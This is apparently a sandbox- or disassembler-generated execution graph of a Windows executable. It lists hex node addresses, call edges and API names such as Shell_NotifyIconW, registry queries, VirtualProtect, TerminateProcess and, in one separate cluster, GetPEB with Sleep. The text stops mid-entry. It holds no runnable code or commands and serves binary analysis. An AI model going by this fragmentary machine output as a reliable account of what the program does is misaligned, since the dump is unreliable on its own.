                                                execution_graph 93425 d4bb64 93426 d4bb71 93425->93426 93427 d4bb77 93425->93427 93433 d21c9d 93426->93433 93429 d21c9d _free 47 API calls 93427->93429 93431 d4bb88 93427->93431 93429->93431 93430 d4bb9a 93431->93430 93432 d21c9d _free 47 API calls 93431->93432 93432->93430 93434 d21ccf __dosmaperr 93433->93434 93435 d21ca6 RtlFreeHeap 93433->93435 93434->93427 93435->93434 93436 d21cbb 93435->93436 93439 d27c0e 47 API calls __getptd_noexit 93436->93439 93438 d21cc1 GetLastError 93438->93434 93439->93438 93440 d03742 93441 d0374b 93440->93441 93442 d037c6 93441->93442 93443 d037c8 93441->93443 93444 d03769 93441->93444 93445 d037ab DefWindowProcW 93442->93445 93446 d71e00 93443->93446 93447 d037ce 93443->93447 93448 d03776 93444->93448 93449 d0382c PostQuitMessage 93444->93449 93450 d037b9 93445->93450 93489 d02ff6 16 API calls 93446->93489 93451 d037d3 93447->93451 93452 d037f6 SetTimer RegisterWindowMessageW 93447->93452 93454 d03781 93448->93454 93455 d71e88 93448->93455 93449->93450 93456 d71da3 93451->93456 93457 d037da KillTimer 93451->93457 93452->93450 93459 d0381f CreatePopupMenu 93452->93459 93460 d03836 93454->93460 93461 d03789 93454->93461 93504 d44ddd 60 API calls _memset 93455->93504 93465 d71ddc MoveWindow 93456->93465 93466 d71da8 93456->93466 93485 d03847 Shell_NotifyIconW _memset 93457->93485 93458 d71e27 93490 d1e312 335 API calls Mailbox 93458->93490 93459->93450 93487 d1eb83 53 API calls _memset 93460->93487 93469 d03794 93461->93469 93470 d71e6d 93461->93470 93463 d71e9a 93463->93445 93463->93450 93465->93450 93474 d71dac 93466->93474 93475 d71dcb SetFocus 93466->93475 93471 d71e58 93469->93471 93472 d0379f 93469->93472 93470->93445 93503 d3a5f3 48 API calls 93470->93503 93502 d455bd 70 API calls _memset 93471->93502 93472->93445 93491 d03847 Shell_NotifyIconW _memset 93472->93491 93473 d03845 93473->93450 93474->93472 93477 d71db5 93474->93477 93475->93450 93476 d037ed 93486 d0390f DeleteObject DestroyWindow Mailbox 93476->93486 93488 d02ff6 16 API calls 93477->93488 93483 d71e4c 93492 d04ffc 93483->93492 93485->93476 93486->93450 93487->93473 93488->93450 93489->93458 93490->93472 93491->93483 93493 d05027 _memset 93492->93493 93505 d04c30 93493->93505 93496 d050ac 93498 d050ca Shell_NotifyIconW 93496->93498 93499 d73d28 Shell_NotifyIconW 93496->93499 93509 d051af 93498->93509 93501 d050df 93501->93442 93502->93473 93503->93442 93504->93463 93506 d73c33 93505->93506 93507 d04c44 93505->93507 93506->93507 93508 d73c3c DestroyIcon 93506->93508 93507->93496 93531 d45819 61 API calls _W_store_winword 93507->93531 93508->93507 93510 d052a2 Mailbox 93509->93510 93511 d051cb 93509->93511 93510->93501 93532 d06b0f 93511->93532 93514 d73ca1 LoadStringW 93518 d73cbb 93514->93518 93515 d051e6 93537 d06a63 93515->93537 93517 d051fb 93517->93518 93519 d0520c 93517->93519 93520 d0510d 48 API calls 93518->93520 93521 d05216 93519->93521 93522 d052a7 93519->93522 93525 d73cc5 93520->93525 93548 d0510d 93521->93548 93557 d06eed 93522->93557 93528 d05220 _memset _wcscpy 93525->93528 93561 d0518c 93525->93561 93527 d73ce7 93529 d0518c 48 API calls 93527->93529 93530 d05288 Shell_NotifyIconW 93528->93530 93529->93528 93530->93510 93531->93496 93571 d1f4ea 93532->93571 93534 d06b34 93580 d06b4a 93534->93580 93538 d06adf 93537->93538 93539 d06a6f __wsetenvp 93537->93539 93615 d0b18b 93538->93615 93541 d06ad7 93539->93541 93542 d06a8b 93539->93542 93614 d0c369 48 API calls 93541->93614 93544 d06b4a 48 API calls 93542->93544 93545 d06a95 93544->93545 93605 d1ee75 93545->93605 93547 d06ab6 _memcpy_s 93547->93517 93549 d71be7 93548->93549 93550 d0511f 93548->93550 93636 d3a58f 48 API calls _memcpy_s 93549->93636 93627 d0b384 93550->93627 93553 d0512b 93553->93528 93554 d71bf1 93555 d06eed 48 API calls 93554->93555 93556 d71bf9 Mailbox 93555->93556 93558 d06f00 93557->93558 93559 d06ef8 93557->93559 93558->93528 93642 d0dd47 48 API calls _memcpy_s 93559->93642 93562 d05197 93561->93562 93563 d71ace 93562->93563 93564 d0519f 93562->93564 93566 d06b4a 48 API calls 93563->93566 93643 d05130 93564->93643 93568 d71adb __wsetenvp 93566->93568 93567 d051aa 93567->93527 93569 d1ee75 48 API calls 93568->93569 93570 d71b07 _memcpy_s 93569->93570 93574 d1f4f2 __calloc_impl 93571->93574 93573 d1f50c 93573->93534 93574->93573 93575 d1f50e std::exception::exception 93574->93575 93583 d2395c 93574->93583 93597 d26805 RaiseException 93575->93597 93577 d1f538 93598 d2673b 47 API calls _free 93577->93598 93579 d1f54a 93579->93534 93581 d1f4ea 48 API calls 93580->93581 93582 d051d9 93581->93582 93582->93514 93582->93515 93584 d239d7 __calloc_impl 93583->93584 93588 d23968 __calloc_impl 93583->93588 93604 d27c0e 47 API calls __getptd_noexit 93584->93604 93587 d2399b RtlAllocateHeap 93587->93588 93596 d239cf 93587->93596 93588->93587 93590 d239c3 93588->93590 93591 d23973 93588->93591 93594 d239c1 93588->93594 93602 d27c0e 47 API calls __getptd_noexit 93590->93602 93591->93588 93599 d281c2 47 API calls 2 library calls 93591->93599 93600 d2821f 47 API calls 7 library calls 93591->93600 93601 d21145 GetModuleHandleExW GetProcAddress ExitProcess ___crtCorExitProcess 93591->93601 93603 d27c0e 47 API calls __getptd_noexit 93594->93603 93596->93574 93597->93577 93598->93579 93599->93591 93600->93591 93602->93594 93603->93596 93604->93596 93607 d1f4ea __calloc_impl 93605->93607 93606 d2395c __malloc_crt 47 API calls 93606->93607 93607->93606 93608 d1f50c 93607->93608 93609 d1f50e std::exception::exception 93607->93609 93608->93547 93619 d26805 RaiseException 93609->93619 93611 d1f538 93620 d2673b 47 API calls _free 93611->93620 93613 d1f54a 93613->93547 93614->93547 93616 d0b199 93615->93616 93618 d0b1a2 _memcpy_s 93615->93618 93616->93618 93621 d0bdfa 93616->93621 93618->93547 93619->93611 93620->93613 93622 d0be0d 93621->93622 93626 d0be0a _memcpy_s 93621->93626 93623 d1f4ea 48 API calls 93622->93623 93624 d0be17 93623->93624 93625 d1ee75 48 API calls 93624->93625 93625->93626 93626->93618 93628 d0b392 93627->93628 93629 d0b3c5 _memcpy_s 93627->93629 93628->93629 93630 d0b3b8 93628->93630 93631 d0b3fd 93628->93631 93629->93553 93629->93629 93637 d0bb85 93630->93637 93632 d1f4ea 48 API calls 93631->93632 93634 d0b407 93632->93634 93635 d1f4ea 48 API calls 93634->93635 93635->93629 93636->93554 93638 d0bb9b 93637->93638 93641 d0bb96 _memcpy_s 93637->93641 93639 d71b77 93638->93639 93640 d1ee75 48 API calls 93638->93640 93640->93641 93641->93629 93642->93558 93644 d0513f __wsetenvp 93643->93644 93645 d71b27 93644->93645 93646 d05151 93644->93646 93648 d06b4a 48 API calls 93645->93648 93647 d0bb85 48 API calls 93646->93647 93649 d0515e _memcpy_s 93647->93649 93650 d71b34 93648->93650 93649->93567 93651 d1ee75 48 API calls 93650->93651 93652 d71b57 _memcpy_s 93651->93652 93653 1766c40 93667 1764890 93653->93667 93655 1766cf6 93670 1766b30 93655->93670 93673 1767d20 GetPEB 93667->93673 93669 1764f1b 93669->93655 93671 1766b39 Sleep 93670->93671 93672 1766b47 93671->93672 93674 1767d4a 93673->93674 93674->93669 93675 d719dd 93680 d04a30 93675->93680 93677 d719f1 93700 d20f0a 52 API calls __cinit 93677->93700 93679 d719fb 93681 d04a40 __ftell_nolock 93680->93681 93701 d0d7f7 93681->93701 93685 d04aff 93713 d0363c 93685->93713 93688 d0518c 48 API calls 93689 d04b18 93688->93689 93719 d064cf 93689->93719 93692 d0d7f7 48 API calls 93693 d04b32 93692->93693 93725 d049fb 93693->93725 93695 d04b43 Mailbox 93695->93677 93696 d061a6 48 API calls 93699 d04b3d _wcscat Mailbox __wsetenvp 93696->93699 93698 d064cf 48 API calls 93698->93699 93699->93695 93699->93696 93699->93698 93739 d0ce19 93699->93739 93700->93679 93702 d1f4ea 48 API calls 93701->93702 93703 d0d818 93702->93703 93704 d1f4ea 48 API calls 93703->93704 93705 d04af6 93704->93705 93706 d05374 93705->93706 93745 d2f8a0 93706->93745 93709 d0ce19 48 API calls 93710 d053a7 93709->93710 93747 d0660f 93710->93747 93712 d053b1 Mailbox 93712->93685 93714 d03649 __ftell_nolock 93713->93714 93758 d0366c GetFullPathNameW 93714->93758 93716 d0365a 93717 d06a63 48 API calls 93716->93717 93718 d03669 93717->93718 93718->93688 93720 d0651b 93719->93720 93724 d064dd _memcpy_s 93719->93724 93723 d1f4ea 48 API calls 93720->93723 93721 d1f4ea 48 API calls 93722 d04b29 93721->93722 93722->93692 93723->93724 93724->93721 93760 d0bcce 93725->93760 93728 d741cc RegQueryValueExW 93730 d74246 RegCloseKey 93728->93730 93731 d741e5 93728->93731 93729 d04a2b 93729->93699 93732 d1f4ea 48 API calls 93731->93732 93733 d741fe 93732->93733 93766 d047b7 93733->93766 93736 d74224 93738 d06a63 48 API calls 93736->93738 93737 d7423b 93737->93730 93738->93737 93740 d0ce28 __wsetenvp 93739->93740 93741 d1ee75 48 API calls 93740->93741 93742 d0ce50 _memcpy_s 93741->93742 93743 d1f4ea 48 API calls 93742->93743 93744 d0ce66 93743->93744 93744->93699 93746 d05381 GetModuleFileNameW 93745->93746 93746->93709 93748 d2f8a0 __ftell_nolock 93747->93748 93749 d0661c GetFullPathNameW 93748->93749 93750 d06a63 48 API calls 93749->93750 93751 d06643 93750->93751 93754 d06571 93751->93754 93755 d0657f 93754->93755 93756 d0b18b 48 API calls 93755->93756 93757 d0658f 93756->93757 93757->93712 93759 d0368a 93758->93759 93759->93716 93761 d0bce8 93760->93761 93762 d04a0a RegOpenKeyExW 93760->93762 93763 d1f4ea 48 API calls 93761->93763 93762->93728 93762->93729 93764 d0bcf2 93763->93764 93765 d1ee75 48 API calls 93764->93765 93765->93762 93767 d1f4ea 48 API calls 93766->93767 93768 d047c9 RegQueryValueExW 93767->93768 93768->93736 93768->93737 93769 d79bec 93773 d10ae0 _memcpy_s Mailbox 93769->93773 93770 d0ffe1 Mailbox 93772 d11526 Mailbox 93934 d4cc5c 86 API calls 4 library calls 93772->93934 93773->93770 93773->93772 93795 d0ce19 48 API calls 93773->93795 93801 d0fec8 93773->93801 93804 d1f4ea 48 API calls 93773->93804 93806 d7a706 93773->93806 93808 d397ed InterlockedDecrement 93773->93808 93812 d0fe30 93773->93812 93841 d60d1d 93773->93841 93844 d60d09 93773->93844 93847 d4b55b 93773->93847 93851 d5f0ac 93773->93851 93883 d4a6ef 93773->93883 93889 d5e822 93773->93889 93931 d5ef61 82 API calls 2 library calls 93773->93931 93776 d1f4ea 48 API calls 93776->93801 93777 d11473 93936 d4cc5c 86 API calls 4 library calls 93777->93936 93778 d1146e 93785 d06eed 48 API calls 93778->93785 93782 d7a246 93790 d06eed 48 API calls 93782->93790 93783 d10509 93937 d4cc5c 86 API calls 4 library calls 93783->93937 93784 d7a922 93785->93770 93789 d06eed 48 API calls 93789->93801 93790->93770 93791 d7a873 93792 d7a30e 93792->93770 93932 d397ed InterlockedDecrement 93792->93932 93793 d397ed InterlockedDecrement 93793->93801 93794 d0d7f7 48 API calls 93794->93801 93795->93773 93796 d20f0a 52 API calls __cinit 93796->93801 93798 d7a973 93938 d4cc5c 86 API calls 4 library calls 93798->93938 93800 d7a982 93801->93770 93801->93776 93801->93777 93801->93778 93801->93782 93801->93783 93801->93789 93801->93792 93801->93793 93801->93794 93801->93796 93801->93798 93803 d115b5 93801->93803 93929 d11820 335 API calls 2 library calls 93801->93929 93930 d11d10 59 API calls Mailbox 93801->93930 93935 d4cc5c 86 API calls 4 library calls 93803->93935 93804->93773 93933 d4cc5c 86 API calls 4 library calls 93806->93933 93808->93773 93813 d0fe50 93812->93813 93836 d0fe7e 93812->93836 93814 d1f4ea 48 API calls 93813->93814 93814->93836 93815 d20f0a 52 API calls __cinit 93815->93836 93816 d1146e 93817 d06eed 48 API calls 93816->93817 93838 d0ffe1 93817->93838 93818 d0d7f7 48 API calls 93818->93836 93819 d10509 93944 d4cc5c 86 API calls 4 library calls 93819->93944 93822 d1f4ea 48 API calls 93822->93836 93824 d11473 93943 d4cc5c 86 API calls 4 library calls 93824->93943 93825 d7a246 93829 d06eed 48 API calls 93825->93829 93826 d7a922 93826->93773 93827 d06eed 48 API calls 93827->93836 93829->93838 93831 d7a873 93831->93773 93832 d397ed InterlockedDecrement 93832->93836 93833 d7a30e 93833->93838 93941 d397ed InterlockedDecrement 93833->93941 93835 d7a973 93945 d4cc5c 86 API calls 4 library calls 93835->93945 93836->93815 93836->93816 93836->93818 93836->93819 93836->93822 93836->93824 93836->93825 93836->93827 93836->93832 93836->93833 93836->93835 93836->93838 93840 d115b5 93836->93840 93939 d11820 335 API calls 2 library calls 93836->93939 93940 d11d10 59 API calls Mailbox 93836->93940 93838->93773 93839 d7a982 93942 d4cc5c 86 API calls 4 library calls 93840->93942 93946 d5f8ae 93841->93946 93843 d60d2d 93843->93773 93845 d5f8ae 129 API calls 93844->93845 93846 d60d19 93845->93846 93846->93773 93848 d4b564 93847->93848 93849 d4b569 93847->93849 94085 d4a4d5 93848->94085 93849->93773 93852 d0d7f7 48 API calls 93851->93852 93853 d5f0c0 93852->93853 93854 d0d7f7 48 API calls 93853->93854 93855 d5f0c8 93854->93855 93856 d0d7f7 48 API calls 93855->93856 93857 d5f0d0 93856->93857 93858 d0936c 81 API calls 93857->93858 93881 d5f0de 93858->93881 93859 d06a63 48 API calls 93859->93881 93860 d5f2cc 93861 d5f2f9 Mailbox 93860->93861 94118 d06b68 48 API calls 93860->94118 93861->93773 93862 d5f2b3 93864 d0518c 48 API calls 93862->93864 93868 d5f2c0 93864->93868 93865 d0c799 48 API calls 93865->93881 93866 d5f2ce 93869 d0518c 48 API calls 93866->93869 93867 d06eed 48 API calls 93867->93881 93870 d0510d 48 API calls 93868->93870 93871 d5f2dd 93869->93871 93870->93860 93873 d0510d 48 API calls 93871->93873 93872 d0bdfa 48 API calls 93875 d5f175 CharUpperBuffW 93872->93875 93873->93860 93874 d0bdfa 48 API calls 93877 d5f23a CharUpperBuffW 93874->93877 94107 d0d645 93875->94107 94117 d1d922 55 API calls 2 library calls 93877->94117 93879 d0936c 81 API calls 93879->93881 93880 d0518c 48 API calls 93880->93881 93881->93859 93881->93860 93881->93861 93881->93862 93881->93865 93881->93866 93881->93867 93881->93872 93881->93874 93881->93879 93881->93880 93882 d0510d 48 API calls 93881->93882 93882->93881 93884 d4a6fb 93883->93884 93885 d1f4ea 48 API calls 93884->93885 93886 d4a709 93885->93886 93887 d4a717 93886->93887 93888 d0d7f7 48 API calls 93886->93888 93887->93773 93888->93887 93890 d5e84e 93889->93890 93891 d5e868 93889->93891 94122 d4cc5c 86 API calls 4 library calls 93890->94122 94123 d5ccdc 48 API calls 93891->94123 93894 d5e871 93895 d0fe30 334 API calls 93894->93895 93897 d5e8cf 93895->93897 93896 d5e860 Mailbox 93896->93773 93897->93896 93898 d5e96a 93897->93898 93900 d5e916 93897->93900 93899 d5e978 93898->93899 93902 d5e9c7 93898->93902 94142 d4a69d 48 API calls 93899->94142 94124 d49b72 48 API calls 93900->94124 93902->93896 93906 d0936c 81 API calls 93902->93906 93904 d5e949 94125 d145e0 93904->94125 93908 d5e9e1 93906->93908 93907 d5e99b 94143 d0bc74 48 API calls 93907->94143 93910 d0bdfa 48 API calls 93908->93910 93911 d5ea05 CharUpperBuffW 93910->93911 93914 d5ea1f 93911->93914 93912 d5e9a3 Mailbox 94144 d13200 335 API calls 2 library calls 93912->94144 93915 d5ea26 93914->93915 93916 d5ea72 93914->93916 94145 d49b72 48 API calls 93915->94145 93917 d0936c 81 API calls 93916->93917 93918 d5ea7a 93917->93918 94146 d01caa 49 API calls 93918->94146 93921 d5ea54 93922 d145e0 334 API calls 93921->93922 93922->93896 93923 d5ea84 93923->93896 93924 d0936c 81 API calls 93923->93924 93925 d5ea9f 93924->93925 94147 d0bc74 48 API calls 93925->94147 93927 d5eaaf 94148 d13200 335 API calls 2 library calls 93927->94148 93929->93801 93930->93801 93931->93773 93932->93770 93933->93772 93934->93770 93935->93770 93936->93791 93937->93784 93938->93800 93939->93836 93940->93836 93941->93838 93942->93838 93943->93831 93944->93826 93945->93839 93982 d0936c 93946->93982 93948 d5f8ea 93953 d5f92c Mailbox 93948->93953 94002 d60567 93948->94002 93950 d5fb8b 93951 d5fcfa 93950->93951 93957 d5fb95 93950->93957 94065 d60688 89 API calls Mailbox 93951->94065 93953->93843 93955 d5fd07 93955->93957 93958 d5fd13 93955->93958 93956 d5f984 Mailbox 93956->93950 93956->93953 93959 d0936c 81 API calls 93956->93959 94033 d629e8 48 API calls _memcpy_s 93956->94033 94034 d5fda5 60 API calls 2 library calls 93956->94034 94015 d5f70a 93957->94015 93958->93953 93959->93956 93964 d5fbc9 94029 d1ed18 93964->94029 93967 d5fbe3 94035 d4cc5c 86 API calls 4 library calls 93967->94035 93968 d5fbfd 94036 d1c050 93968->94036 93971 d5fbee GetCurrentProcess TerminateProcess 93971->93968 93972 d5fc14 93981 d5fc3e 93972->93981 94047 d11b90 93972->94047 93973 d5fd65 93973->93953 93978 d5fd7e FreeLibrary 93973->93978 93975 d5fc2d 94063 d6040f 105 API calls _free 93975->94063 93976 d11b90 48 API calls 93976->93981 93978->93953 93981->93973 93981->93976 94064 d0dcae 50 API calls Mailbox 93981->94064 94066 d6040f 105 API calls _free 93981->94066 93983 d09384 93982->93983 94000 d09380 93982->94000 93984 d74bbf 93983->93984 93985 d09398 93983->93985 93988 d74cbd __i64tow 93983->93988 93996 d093b0 __itow Mailbox _wcscpy 93983->93996 93986 d74ca5 93984->93986 93990 d74bc8 93984->93990 94067 d2172b 80 API calls 4 library calls 93985->94067 94068 d2172b 80 API calls 4 library calls 93986->94068 93988->93988 93993 d74be7 93990->93993 93990->93996 93991 d1f4ea 48 API calls 93992 d093ba 93991->93992 93994 d0ce19 48 API calls 93992->93994 93992->94000 93995 d1f4ea 48 API calls 93993->93995 93994->94000 93997 d74c04 93995->93997 93996->93991 93998 d1f4ea 48 API calls 93997->93998 93999 d74c2a 93998->93999 93999->94000 94001 d0ce19 48 API calls 93999->94001 94000->93948 94001->94000 94003 d0bdfa 48 API calls 94002->94003 94004 d60582 CharLowerBuffW 94003->94004 94069 d41f11 94004->94069 94008 d0d7f7 48 API calls 94009 d605bb 94008->94009 94076 d069e9 48 API calls _memcpy_s 94009->94076 94011 d605d2 94012 d0b18b 48 API calls 94011->94012 94013 d605de Mailbox 94012->94013 94014 d6061a Mailbox 94013->94014 94077 d5fda5 60 API calls 2 library calls 94013->94077 94014->93956 94016 d5f77a 94015->94016 94017 d5f725 94015->94017 94021 d60828 94016->94021 94018 d1f4ea 48 API calls 94017->94018 94020 d5f747 94018->94020 94019 d1f4ea 48 API calls 94019->94020 94020->94016 94020->94019 94022 d60a53 Mailbox 94021->94022 94027 d6084b _strcat _wcscpy __wsetenvp 94021->94027 94022->93964 94023 d0cf93 58 API calls 94023->94027 94024 d0d286 48 API calls 94024->94027 94025 d0936c 81 API calls 94025->94027 94026 d2395c 47 API calls __malloc_crt 94026->94027 94027->94022 94027->94023 94027->94024 94027->94025 94027->94026 94080 d48035 50 API calls __wsetenvp 94027->94080 94031 d1ed2d 94029->94031 94030 d1edc5 VirtualProtect 94032 d1ed93 94030->94032 94031->94030 94031->94032 94032->93967 94032->93968 94033->93956 94034->93956 94035->93971 94037 d1c064 94036->94037 94039 d1c069 Mailbox 94036->94039 94081 d1c1af 48 API calls 94037->94081 94044 d1c077 94039->94044 94082 d1c15c 48 API calls 94039->94082 94041 d1f4ea 48 API calls 94043 d1c108 94041->94043 94042 d1c152 94042->93972 94045 d1f4ea 48 API calls 94043->94045 94044->94041 94044->94042 94046 d1c113 94045->94046 94046->93972 94046->94046 94048 d11cf6 94047->94048 94050 d11ba2 94047->94050 94048->93975 94049 d11c5d 94049->93975 94052 d1f4ea 48 API calls 94050->94052 94061 d11bae 94050->94061 94054 d749c4 94052->94054 94053 d11bb9 94053->94049 94056 d1f4ea 48 API calls 94053->94056 94055 d1f4ea 48 API calls 94054->94055 94062 d749cf 94055->94062 94057 d11c9f 94056->94057 94058 d11cb2 94057->94058 94083 d02925 48 API calls 94057->94083 94058->93975 94060 d1f4ea 48 API calls 94060->94062 94061->94053 94084 d1c15c 48 API calls 94061->94084 94062->94060 94062->94061 94063->93981 94064->93981 94065->93955 94066->93981 94067->93996 94068->93996 94070 d41f3b __wsetenvp 94069->94070 94071 d41f79 94070->94071 94073 d41f6f 94070->94073 94075 d41ffa 94070->94075 94071->94008 94071->94013 94073->94071 94078 d1d37a 60 API calls 94073->94078 94075->94071 94079 d1d37a 60 API calls 94075->94079 94076->94011 94077->94014 94078->94073 94079->94075 94080->94027 94081->94039 94082->94044 94083->94058 94084->94053 94086 d4a5ee 94085->94086 94087 d4a4ec 94085->94087 94086->93849 94088 d4a5d4 Mailbox 94087->94088 94089 d4a58b 94087->94089 94091 d4a4fd 94087->94091 94090 d1f4ea 48 API calls 94088->94090 94092 d1f4ea 48 API calls 94089->94092 94104 d4a54c _memcpy_s Mailbox 94090->94104 94093 d1f4ea 48 API calls 94091->94093 94102 d4a51a 94091->94102 94092->94104 94093->94102 94094 d4a555 94097 d1f4ea 48 API calls 94094->94097 94095 d4a545 94098 d1f4ea 48 API calls 94095->94098 94096 d1f4ea 48 API calls 94096->94086 94099 d4a55b 94097->94099 94098->94104 94105 d49d2d 48 API calls 94099->94105 94101 d4a567 94106 d1e65e 50 API calls 94101->94106 94102->94094 94102->94095 94102->94104 94104->94096 94105->94101 94106->94104 94108 d0d654 94107->94108 94116 d0d67e 94107->94116 94109 d0d65b 94108->94109 94112 d0d6c2 94108->94112 94110 d0d6ab 94109->94110 94111 d0d666 94109->94111 94110->94116 94120 d1dce0 53 API calls 94110->94120 94119 d0d9a0 53 API calls __cinit 94111->94119 94112->94110 94121 d1dce0 53 API calls 94112->94121 94116->93881 94117->93881 94118->93861 94119->94116 94120->94116 94121->94110 94122->93896 94123->93894 94124->93904 94126 d14637 94125->94126 94127 d1479f 94125->94127 94128 d76e05 94126->94128 94129 d14643 94126->94129 94130 d0ce19 48 API calls 94127->94130 94131 d5e822 335 API calls 94128->94131 94208 d14300 335 API calls _memcpy_s 94129->94208 94137 d146e4 Mailbox 94130->94137 94133 d76e11 94131->94133 94134 d14739 Mailbox 94133->94134 94209 d4cc5c 86 API calls 4 library calls 94133->94209 94134->93896 94136 d14659 94136->94133 94136->94134 94136->94137 94149 d04252 94137->94149 94155 d56ff0 94137->94155 94164 d4fa0c 94137->94164 94205 d46524 94137->94205 94142->93907 94143->93912 94144->93896 94145->93921 94146->93923 94147->93927 94148->93896 94150 d0425c 94149->94150 94152 d04263 94149->94152 94210 d235e4 94150->94210 94153 d04272 94152->94153 94154 d04283 FreeLibrary 94152->94154 94153->94134 94154->94153 94156 d0936c 81 API calls 94155->94156 94157 d5702a 94156->94157 94517 d0b470 94157->94517 94159 d5703a 94160 d5705f 94159->94160 94161 d0fe30 335 API calls 94159->94161 94163 d57063 94160->94163 94545 d0cdb9 48 API calls 94160->94545 94161->94160 94163->94134 94165 d4fa1c __ftell_nolock 94164->94165 94166 d4fa44 94165->94166 94649 d0d286 48 API calls 94165->94649 94168 d0936c 81 API calls 94166->94168 94170 d4fa5e 94168->94170 94169 d4fb92 94169->94134 94170->94169 94171 d4fa80 94170->94171 94172 d4fb68 94170->94172 94173 d0936c 81 API calls 94171->94173 94561 d041a9 94172->94561 94179 d4fa8c _wcscpy _wcschr 94173->94179 94176 d4fb8e 94176->94169 94178 d0936c 81 API calls 94176->94178 94177 d041a9 136 API calls 94177->94176 94180 d4fbc7 94178->94180 94184 d4fab0 _wcscat _wcscpy 94179->94184 94188 d4fade _wcscat 94179->94188 94585 d21dfc 94180->94585 94182 d0936c 81 API calls 94183 d4fafc _wcscpy 94182->94183 94650 d472cb GetFileAttributesW 94183->94650 94186 d0936c 81 API calls 94184->94186 94186->94188 94187 d4fb1c __wsetenvp 94187->94169 94190 d0936c 81 API calls 94187->94190 94188->94182 94189 d4fbeb _wcscat _wcscpy 94193 d0936c 81 API calls 94189->94193 94191 d4fb48 94190->94191 94651 d460dd 77 API calls 4 library calls 94191->94651 94195 d4fc82 94193->94195 94194 d4fb5c 94194->94169 94588 d4690b 94195->94588 94197 d4fca2 94198 d46524 3 API calls 94197->94198 94199 d4fcb1 94198->94199 94200 d0936c 81 API calls 94199->94200 94203 d4fce2 94199->94203 94201 d4fccb 94200->94201 94594 d4bfa4 94201->94594 94204 d04252 84 API calls 94203->94204 94204->94169 95040 d46ca9 GetFileAttributesW 94205->95040 94208->94136 94209->94134 94211 d235f0 __setmbcp 94210->94211 94212 d23604 94211->94212 94213 d2361c 94211->94213 94245 d27c0e 47 API calls __getptd_noexit 94212->94245 94220 d23614 __setmbcp 94213->94220 94223 d24e1c 94213->94223 94215 d23609 94246 d26e10 8 API calls __controlfp_s 94215->94246 94220->94152 94224 d24e4e EnterCriticalSection 94223->94224 94225 d24e2c 94223->94225 94227 d2362e 94224->94227 94225->94224 94226 d24e34 94225->94226 94248 d27cf4 94226->94248 94229 d23578 94227->94229 94230 d23587 94229->94230 94231 d2359b 94229->94231 94330 d27c0e 47 API calls __getptd_noexit 94230->94330 94233 d23597 94231->94233 94290 d22c84 94231->94290 94247 d23653 LeaveCriticalSection LeaveCriticalSection _fprintf 94233->94247 94234 d2358c 94331 d26e10 8 API calls __controlfp_s 94234->94331 94241 d235b5 94307 d2e9d2 94241->94307 94243 d235bb 94243->94233 94244 d21c9d _free 47 API calls 94243->94244 94244->94233 94245->94215 94246->94220 94247->94220 94249 d27d05 94248->94249 94250 d27d18 EnterCriticalSection 94248->94250 94255 d27d7c 94249->94255 94250->94227 94252 d27d0b 94252->94250 94278 d2115b 47 API calls 3 library calls 94252->94278 94256 d27d88 __setmbcp 94255->94256 94257 d27d91 94256->94257 94258 d27da9 94256->94258 94279 d281c2 47 API calls 2 library calls 94257->94279 94265 d27dc9 __setmbcp 94258->94265 94282 d269d0 94258->94282 94261 d27d96 94280 d2821f 47 API calls 7 library calls 94261->94280 94264 d27d9d 94281 d21145 GetModuleHandleExW GetProcAddress ExitProcess ___crtCorExitProcess 94264->94281 94265->94252 94266 d27dd3 94270 d27cf4 __lock 46 API calls 94266->94270 94267 d27dc4 94288 d27c0e 47 API calls __getptd_noexit 94267->94288 94272 d27dda 94270->94272 94273 d27de9 InitializeCriticalSectionAndSpinCount 94272->94273 94274 d27dfe 94272->94274 94276 d27e04 94273->94276 94275 d21c9d _free 46 API calls 94274->94275 94275->94276 94289 d27e1a LeaveCriticalSection _doexit 94276->94289 94279->94261 94280->94264 94283 d269de 94282->94283 94284 d2395c __malloc_crt 46 API calls 94283->94284 94285 d26a12 94283->94285 94286 d269f1 Sleep 94283->94286 94284->94283 94285->94266 94285->94267 94287 d26a0a 94286->94287 94287->94283 94287->94285 94288->94265 94289->94265 94291 d22c97 94290->94291 94295 d22cbb 94290->94295 94292 d22933 __fclose_nolock 47 API calls 94291->94292 94291->94295 94293 d22cb4 94292->94293 94332 d2af61 94293->94332 94296 d2eb36 94295->94296 94297 d235af 94296->94297 94298 d2eb43 94296->94298 94300 d22933 94297->94300 94298->94297 94299 d21c9d _free 47 API calls 94298->94299 94299->94297 94301 d22952 94300->94301 94302 d2293d 94300->94302 94301->94241 94473 d27c0e 47 API calls __getptd_noexit 94302->94473 94304 d22942 94474 d26e10 8 API calls __controlfp_s 94304->94474 94306 d2294d 94306->94241 94308 d2e9de __setmbcp 94307->94308 94309 d2e9e6 94308->94309 94310 d2e9fe 94308->94310 94490 d27bda 47 API calls __getptd_noexit 94309->94490 94312 d2ea7b 94310->94312 94317 d2ea28 94310->94317 94494 d27bda 47 API calls __getptd_noexit 94312->94494 94313 d2e9eb 94491 d27c0e 47 API calls __getptd_noexit 94313->94491 94316 d2ea80 94495 d27c0e 47 API calls __getptd_noexit 94316->94495 94320 d2a8ed ___lock_fhandle 49 API calls 94317->94320 94318 d2e9f3 __setmbcp 94318->94243 94322 d2ea2e 94320->94322 94321 d2ea88 94496 d26e10 8 API calls __controlfp_s 94321->94496 94323 d2ea41 94322->94323 94324 d2ea4c 94322->94324 94475 d2ea9c 94323->94475 94492 d27c0e 47 API calls __getptd_noexit 94324->94492 94328 d2ea47 94493 d2ea73 LeaveCriticalSection __unlock_fhandle 94328->94493 94330->94234 94331->94233 94333 d2af6d __setmbcp 94332->94333 94334 d2af75 94333->94334 94335 d2af8d 94333->94335 94430 d27bda 47 API calls __getptd_noexit 94334->94430 94337 d2b022 94335->94337 94341 d2afbf 94335->94341 94435 d27bda 47 API calls __getptd_noexit 94337->94435 94338 d2af7a 94431 d27c0e 47 API calls __getptd_noexit 94338->94431 94340 d2b027 94436 d27c0e 47 API calls __getptd_noexit 94340->94436 94357 d2a8ed 94341->94357 94345 d2af82 __setmbcp 94345->94295 94346 d2b02f 94437 d26e10 8 API calls __controlfp_s 94346->94437 94347 d2afc5 94349 d2afeb 94347->94349 94350 d2afd8 94347->94350 94432 d27c0e 47 API calls __getptd_noexit 94349->94432 94366 d2b043 94350->94366 94353 d2afe4 94434 d2b01a LeaveCriticalSection __unlock_fhandle 94353->94434 94354 d2aff0 94433 d27bda 47 API calls __getptd_noexit 94354->94433 94358 d2a8f9 __setmbcp 94357->94358 94359 d2a946 EnterCriticalSection 94358->94359 94360 d27cf4 __lock 47 API calls 94358->94360 94361 d2a96c __setmbcp 94359->94361 94362 